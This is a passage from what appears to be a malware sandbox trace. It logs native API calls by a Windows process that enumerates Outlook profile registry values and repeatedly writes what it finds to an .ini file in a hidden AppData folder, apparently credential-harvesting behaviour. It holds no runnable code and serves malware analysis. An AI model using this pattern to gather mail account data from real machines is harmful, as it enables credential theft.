NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.689] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.689] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.689] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x14, ByteOffset=0x29ce14*=796, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.689] NtClose (Handle=0xc4) returned 0x0 [0161.690] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.690] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.690] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.690] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x22, ByteOffset=0x29ce14*=816, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.690] NtClose (Handle=0xc4) returned 0x0 [0161.690] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x8, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.690] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.690] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.691] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.691] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x2e, ByteOffset=0x29ce14*=850, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.691] NtClose (Handle=0xc4) returned 0x0 [0161.709] RtlIntegerToChar (in: Value=0x0, Base=0x0, Length=0x20, String=0x29cefc | out: String="0") returned 0x0 [0161.709] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.709] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.709] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.709] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x6, ByteOffset=0x29ce14*=896, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.709] NtClose (Handle=0xc4) returned 0x0 [0161.710] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x9, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.710] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.710] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.710] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.710] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x20, ByteOffset=0x29ce14*=902, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.711] NtClose (Handle=0xc4) returned 0x0 [0161.720] RtlIntegerToChar (in: Value=0xe0003, Base=0x0, Length=0x20, String=0x29cefc | out: String="917507") returned 0x0 [0161.720] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.720] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.720] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.720] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x10, ByteOffset=0x29ce14*=934, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.721] NtClose (Handle=0xc4) returned 0x0 [0161.721] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0xa, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.721] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.721] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.721] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.722] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x2e, ByteOffset=0x29ce14*=950, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.722] NtClose (Handle=0xc4) returned 0x0 [0161.722] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.722] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.722] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.722] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0xb4, ByteOffset=0x29ce14*=996, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.722] NtClose (Handle=0xc4) returned 0x0 [0161.723] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0xb, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.723] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.723] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.723] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.723] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x30, ByteOffset=0x29ce14*=1176, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.723] NtClose (Handle=0xc4) returned 0x0 [0161.724] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.724] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.724] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.724] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1c, ByteOffset=0x29ce14*=1224, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.724] NtClose (Handle=0xc4) returned 0x0 [0161.724] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0xc, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.724] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.724] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.725] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.725] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x20, ByteOffset=0x29ce14*=1252, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.725] NtClose (Handle=0xc4) returned 0x0 [0161.725] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.725] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.725] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.725] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x14, ByteOffset=0x29ce14*=1284, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.725] NtClose (Handle=0xc4) returned 0x0 [0161.726] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0xd, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x8000001a [0161.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29cf34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.726] NtCreateFile (in: FileHandle=0x29cf54, DesiredAccess=0x12019f, ObjectAttributes=0x29cf1c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cf3c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cf54*=0xc4, IoStatusBlock=0x29cf3c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.726] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cf3c, FileInformation=0x29ce94, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cf3c, FileInformation=0x29ce94) returned 0x0 [0161.726] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cf3c, Buffer=0x308730*, Length=0x4, ByteOffset=0x29ceac*=1304, Key=0x0 | out: IoStatusBlock=0x29cf3c, Buffer=0x308730*) returned 0x0 [0161.726] NtClose (Handle=0xc4) returned 0x0 [0161.727] NtClose (Handle=0xc0) returned 0x0 [0161.727] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x0 [0161.727] NtCreateKey (in: KeyHandle=0x29dbe4, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe4*=0xc0) returned 0x0 [0161.727] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.727] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.727] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.727] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.727] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0xc, ByteOffset=0x29ce14*=1308, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.727] NtClose (Handle=0xc4) returned 0x0 [0161.728] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.728] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.728] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.728] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x52, ByteOffset=0x29ce14*=1320, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.728] NtClose (Handle=0xc4) returned 0x0 [0161.729] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x1, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.729] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.729] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.729] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.729] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x12, ByteOffset=0x29ce14*=1402, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.729] NtClose (Handle=0xc4) returned 0x0 [0161.738] RtlIntegerToChar (in: Value=0x86e13713, Base=0x0, Length=0x20, String=0x29cefc | out: String="2262906643") returned 0x0 [0161.738] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 